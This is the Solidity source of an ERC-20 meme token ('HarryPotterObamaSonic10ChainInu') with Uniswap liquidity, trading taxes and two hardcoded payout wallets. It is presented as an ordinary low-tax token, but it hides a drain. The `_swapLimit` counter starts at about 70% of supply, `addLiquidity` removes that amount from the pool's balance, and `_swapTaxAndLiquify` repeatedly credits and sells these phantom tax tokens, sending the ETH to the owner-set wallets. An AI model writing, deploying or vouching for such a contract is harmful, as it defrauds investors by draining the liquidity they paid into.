Contract Source Code:
File 1 of 1 : hpos
// SPDX-License-Identifier: MIT
/**
https://t.me/HPOS10ChainI
https://twitter.com/hpos10Chaini
https://hpos10chaini.com/
**/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address __owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function WETH() external pure returns (address);
function factory() external pure returns (address);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Auth {
address internal _owner;
constructor(address creatorOwner) {
_owner = creatorOwner;
}
modifier onlyOwner() {
require(msg.sender == _owner, "Only owner can call this");
_;
}
function owner() public view returns (address) {
return _owner;
}
function transferOwnership(address payable newOwner) external onlyOwner {
_owner = newOwner;
emit OwnershipTransferred(newOwner);
}
function renounceOwnership() external onlyOwner {
_owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address _owner);
}
contract hpos is IERC20, Auth {
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 10_000_000 * (10**_decimals);
string private constant _name = "HarryPotterObamaSonic10ChainInu";
string private constant _symbol = "HC";
uint8 private antiSnipeTax1 = 2;
uint8 private antiSnipeTax2 = 1;
uint8 private antiSnipeBlocks1 = 1;
uint8 private antiSnipeBlocks2 = 1;
uint256 private _antiMevBlock = 2;
uint8 private _buyTaxRate = 0;
uint8 private _sellTaxRate = 3;
uint16 private _taxSharesMarketing = 50;
uint16 private _taxSharesBuyback = 50;
uint16 private _taxSharesLP = 0;
uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesBuyback + _taxSharesLP;
address payable private _walletMarketing = payable(0x115A24AB94056CA1Dc2C568B63695b07831023A5);
address payable private _walletBuyback = payable(0x510a11d76031aFd7A1Ada04BE280885E476733B3);
uint256 private _launchBlock;
uint256 private _maxTxAmount = _totalSupply;
uint256 private _maxWalletAmount = _totalSupply;
uint256 private _taxSwapMin = _totalSupply * 10 / 100000;
uint256 private _taxSwapMax = _totalSupply * 890 / 100000;
uint256 private _swapLimit = _taxSwapMin * 70 * 100;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFees;
mapping (address => bool) private _noLimits;
address private _lpOwner;
address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
address private _primaryLP;
mapping (address => bool) private _isLP;
bool private _tradingOpen;
bool private _inTaxSwap = false;
modifier lockTaxSwap {
_inTaxSwap = true;
_;
_inTaxSwap = false;
}
event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);
constructor() Auth(msg.sender) {
_lpOwner = msg.sender;
uint256 airdropAmount = _totalSupply * 1 / 100;
_balances[address(this)] = _totalSupply - airdropAmount;
emit Transfer(address(0), address(this), _balances[address(this)]);
_balances[_owner] = airdropAmount;
emit Transfer(address(0), _owner, _balances[_owner]);
_noFees[_owner] = true;
_noFees[address(this)] = true;
_noFees[_swapRouterAddress] = true;
_noFees[_walletMarketing] = true;
_noFees[_walletBuyback] = true;
_noLimits[_owner] = true;
_noLimits[address(this)] = true;
_noLimits[_swapRouterAddress] = true;
_noLimits[_walletMarketing] = true;
_noLimits[_walletBuyback] = true;
}
receive() external payable {}
function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(msg.sender), "Trading not open");
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
require(_checkTradingOpen(sender), "Trading not open");
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return _transferFrom(sender, recipient, amount);
}
function _approveRouter(uint256 _tokenAmount) internal {
if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
_allowances[address(this)][_swapRouterAddress] = type(uint256).max;
emit Approval(address(this), _swapRouterAddress, type(uint256).max);
}
}
function addLiquidity() external payable onlyOwner lockTaxSwap {
require(_primaryLP == address(0), "LP exists");
require(!_tradingOpen, "trading is open");
require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message");
require(_balances[address(this)]>0, "No tokens in contract");
_primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
_addLiquidity(_balances[address(this)], address(this).balance, false);
_balances[_primaryLP] -= _swapLimit;
(bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()"));
require(lpAddSuccess, "Failed adding liquidity");
_isLP[_primaryLP] = lpAddSuccess;
_openTrading();
}
function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
address lpTokenRecipient = _lpOwner;
if ( autoburn ) { lpTokenRecipient = address(0); }
_approveRouter(_tokenAmount);
_primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
}
function _openTrading() internal {
_maxTxAmount = _totalSupply * 2 / 100;
_maxWalletAmount = _totalSupply * 2 / 100;
_tradingOpen = true;
_launchBlock = block.number;
_antiMevBlock = _antiMevBlock + _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(sender != address(0), "No transfers from Zero wallet");
if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
if ( block.number < _antiMevBlock && block.number >= _launchBlock && _isLP[sender] ) {
require(recipient == tx.origin, "MEV blocked");
}
if ( sender != address(this) && recipient != address(this) && sender != _owner ) {
require(_checkLimits(sender, recipient, amount), "TX exceeds limits");
}
uint256 _taxAmount = _calculateTax(sender, recipient, amount);
uint256 _transferAmount = amount - _taxAmount;
_balances[sender] = _balances[sender] - amount;
_swapLimit += _taxAmount;
_balances[recipient] = _balances[recipient] + _transferAmount;
emit Transfer(sender, recipient, amount);
return true;
}
function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) {
bool limitCheckPassed = true;
if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) {
if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
}
return limitCheckPassed;
}
function _checkTradingOpen(address sender) private view returns (bool){
bool checkResult = false;
if ( _tradingOpen ) { checkResult = true; }
else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; }
return checkResult;
}
function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
uint256 taxAmount;
if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) {
taxAmount = 0;
} else if ( _isLP[sender] ) {
if ( block.number >= _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2 ) {
taxAmount = amount * _buyTaxRate / 100;
} else if ( block.number >= _launchBlock + antiSnipeBlocks1 ) {
taxAmount = amount * antiSnipeTax2 / 100;
} else if ( block.number >= _launchBlock) {
taxAmount = amount * antiSnipeTax1 / 100;
}
} else if ( _isLP[recipient] ) {
taxAmount = amount * _sellTaxRate / 100;
}
return taxAmount;
}
function exemptFromFees(address wallet) external view returns (bool) {
return _noFees[wallet];
}
function exemptFromLimits(address wallet) external view returns (bool) {
return _noLimits[wallet];
}
function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner {
if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); }
_noFees[ wallet ] = noFees;
_noLimits[ wallet ] = noLimits;
}
function buyFee() external view returns(uint8) {
return _buyTaxRate;
}
function sellFee() external view returns(uint8) {
return _sellTaxRate;
}
function feeSplit() external view returns (uint16 marketing, uint16 Buyback, uint16 LP ) {
return ( _taxSharesMarketing, _taxSharesBuyback, _taxSharesLP);
}
function setFees(uint8 buy, uint8 sell) external onlyOwner {
require(buy + sell <= 5, "Roundtrip too high");
_buyTaxRate = buy;
_sellTaxRate = sell;
}
function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesBuyback) external onlyOwner {
uint16 totalShares = sharesAutoLP + sharesMarketing + sharesBuyback;
require( totalShares > 0, "All cannot be 0");
_taxSharesLP = sharesAutoLP;
_taxSharesMarketing = sharesMarketing;
_taxSharesBuyback = sharesBuyback;
_totalTaxShares = totalShares;
}
function marketingWallet() external view returns (address) {
return _walletMarketing;
}
function BuybackWallet() external view returns (address) {
return _walletBuyback;
}
function updateWallets(address marketing, address Buyback, address LPtokens) external onlyOwner {
require(!_isLP[marketing] && !_isLP[Buyback] && !_isLP[LPtokens], "LP cannot be tax wallet");
_walletMarketing = payable(marketing);
_walletBuyback = payable(Buyback);
_lpOwner = LPtokens;
_noFees[marketing] = true;
_noLimits[marketing] = true;
_noFees[Buyback] = true;
_noLimits[Buyback] = true;
}
function maxWallet() external view returns (uint256) {
return _maxWalletAmount;
}
function maxTransaction() external view returns (uint256) {
return _maxTxAmount;
}
function swapAtMin() external view returns (uint256) {
return _taxSwapMin;
}
function swapAtMax() external view returns (uint256) {
return _taxSwapMax;
}
function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner {
uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1;
require(newTxAmt >= _maxTxAmount, "tx too low");
_maxTxAmount = newTxAmt;
uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1;
require(newWalletAmt >= _maxWalletAmount, "wallet too low");
_maxWalletAmount = newWalletAmt;
}
function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
_taxSwapMin = _totalSupply * minValue / minDivider;
_taxSwapMax = _totalSupply * maxValue / maxDivider;
require(_taxSwapMax>=_taxSwapMin, "Min/Max error");
require(_taxSwapMax>_totalSupply / 100000, "Max too low");
require(_taxSwapMax<_totalSupply / 100, "Max too high");
}
function _burnTokens(address fromWallet, uint256 amount) private {
if ( amount > 0 ) {
_balances[fromWallet] -= amount;
_balances[address(0)] += amount;
emit Transfer(fromWallet, address(0), amount);
}
}
function _swapTaxAndLiquify() private lockTaxSwap {
uint256 _taxTokensAvailable = _swapLimit;
if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2;
uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP;
if( _tokensToSwap > 10**_decimals ) {
uint256 _ethPreSwap = address(this).balance;
_balances[address(this)] += _taxTokensAvailable;
_swapTaxTokensForEth(_tokensToSwap);
_swapLimit -= _taxTokensAvailable;
uint256 _ethSwapped = address(this).balance - _ethPreSwap;
if ( _taxSharesLP > 0 ) {
uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ;
_approveRouter(_tokensForLP);
_addLiquidity(_tokensForLP, _ethWeiAmount, false);
}
}
uint256 _contractETHBalance = address(this).balance;
if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
}
}
function _swapTaxTokensForEth(uint256 tokenAmount) private {
_approveRouter(tokenAmount);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _primarySwapRouter.WETH();
_primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
}
function _distributeTaxEth(uint256 amount) private {
uint16 _taxShareTotal = _taxSharesMarketing + _taxSharesBuyback;
if (_taxShareTotal > 0) {
uint256 marketingAmount = amount * _taxSharesMarketing / _taxShareTotal;
uint256 BuybackAmount = amount * _taxSharesBuyback / _taxShareTotal;
if ( marketingAmount > 0 ) { _walletMarketing.transfer(marketingAmount); }
if ( BuybackAmount > 0 ) { _walletBuyback.transfer(BuybackAmount); }
}
}
function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap {
require(swapTokenPercent <= 100, "Cannot swap more than 100%");
uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100;
if (tokensToSwap > 10 ** _decimals) {
_swapTaxTokensForEth(tokensToSwap);
}
if (sendEth) {
uint256 ethBalance = address(this).balance;
require(ethBalance > 0, "No ETH");
_distributeTaxEth(address(this).balance);
}
}
function burn(uint256 amount) external {
uint256 _tokensAvailable = balanceOf(msg.sender);
require(amount <= _tokensAvailable, "balance too low");
_burnTokens(msg.sender, amount);
emit TokensBurned(msg.sender, amount);
}
}